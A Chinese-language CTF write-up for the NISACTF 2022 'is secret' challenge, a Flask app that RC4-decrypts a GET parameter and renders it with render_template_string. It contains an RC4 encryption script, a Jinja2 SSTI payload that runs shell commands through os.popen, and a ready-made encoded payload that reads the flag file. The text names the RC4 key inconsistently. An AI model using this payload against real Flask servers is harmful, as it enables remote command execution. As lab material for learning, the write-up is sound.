NSS [NISACTF 2022]is secret
原题是 [CISCN2019_华东南赛区]Double_Secret
开题蒙蔽。
猜测是/secret
路由,猜对了。
GET提交参数?secret=1
,这里应该是一个注入点。
看了一下network
,后端语言是python2,不确定是哪种漏洞,所有想到的都测一遍,最后在测SSTI时候传参?secret={
{7*7}}
产生了报错。
这一段引起了我的注意。
大致意思是,我们GET提交参数secret
后,经过rc4
解密,解密密钥是render_template_string
,然后渲染进模板。render_template_string
是最常见的模板渲染函数,容易造成flask的SSTI,这里的waf是safe()
函数。
用cyberchef进行RC4解密的时候,一定要URLencode设置成encode all special chars,否则部分命令会报错或者执行为空。
所以我们传的payload,想要造成SSTI的话,必须是rc4加密后的。
网上找个 RC4 的加密脚本,密钥是render_template_string
,报错里面给了:
import base64
from urllib import parse
def rc4_main(key = "init_key", message = "init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256)) # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
# print("res用于加密字符串,加密后是:%res" %res)
cipher = "".join(res)
#print("加密后的字符串是:\n%s" %cipher)
enc_url = parse.quote(cipher)
print("加密后的url编码:\n" + enc_url)
#print("加密后的输出(经过base64编码):")
#print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure",'''{
{config.__class__.__init__.__globals__['os'].popen('【要执行的命令】').read()}}''')
flag在根目录下flag.txt
文件中。
payload:
/secret?secret=.%14ZZ%C2%A4%01%02i%25%C2%A2%C3%A7%10%C2%B2%C2%B3%C3%A5%C2%BB%0B%C2%AC%1A%0B%C2%88%5B%C3%AE%7B%1E%C2%AE%07%C3%87m%C3%B35%C3%AB%22%C2%89L%C3%9A%1B%C3%8E%17%C3%9F%3C%C3%95%C2%9E%C2%A5P%40%C2%AD%15%C2%B5%C2%B8H%24%25%C3%BF%2Bo%C3%97pN%C3%88%C2%B8M_%C3%A1%C2%8C%0D%C3%BD%00tV2%C3%A8K%C2%93p%C3%BDa
RC4是一种对称加密算法,那么对密文进行再次加密就可以得到原来的明文。
拿脚本试了一下确实如此。1
加密一次是d
,加密两次是1
。